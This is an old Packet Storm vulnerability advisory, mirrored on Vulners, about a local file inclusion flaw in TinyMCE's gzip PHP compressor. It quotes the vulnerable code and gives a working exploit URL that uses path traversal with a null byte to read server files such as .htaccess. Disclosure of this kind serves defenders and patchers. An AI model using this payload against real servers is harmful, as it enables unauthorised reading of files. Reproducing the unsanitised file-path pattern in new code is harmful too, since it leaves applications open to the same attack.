Lucene search
K

farsinews.txt

🗓️ 12 Jul 2006 00:00:00Reported by armin390Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Local File Inclusion Vulnerability in TinyMCE Gzip PHP Scrip

Code
`if magic_quotes_gpc is Off in php.ini then local file inclusion in /jscripts/tiny_mce/tiny_mce_gzip.php is available to use;)!!  
why?  
#code(jscripts/tiny_mce/tiny_mce_gzip.php)  
...  
$theme = isset($_REQUEST['theme']) ? $_REQUEST['theme'] : "";  
$language = isset($_REQUEST['language']) ? $_REQUEST['language'] : "";  
$plugins = isset($_REQUEST['plugins']) ? $_REQUEST['plugins'] : "";  
...  
if ($theme) {  
// Write main script and patch some things  
echo file_get_contents(realpath("tiny_mce" . $suffix . ".js"));  
echo 'TinyMCE.prototype.loadScript = function() {};';  
echo "tinyMCE.init(TinyMCECompressed_settings);";  
  
// Load theme, language pack and theme language packs  
echo file_get_contents(realpath("themes/" . $theme . "/editor_template" . $suffix . ".js"));  
echo file_get_contents(realpath("themes/" . $theme . "/langs/" . $language . ".js"));  
echo file_get_contents(realpath("langs/" . $language . ".js"));  
  
#exploit  
for example!:  
http://target/jscripts/tiny_mce/tiny_mce_gzip.php?language=../../../../.htaccess%00&theme=advanced  
...  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Jul 2006 00:00Current
7.4High risk
Vulners AI Score7.4
30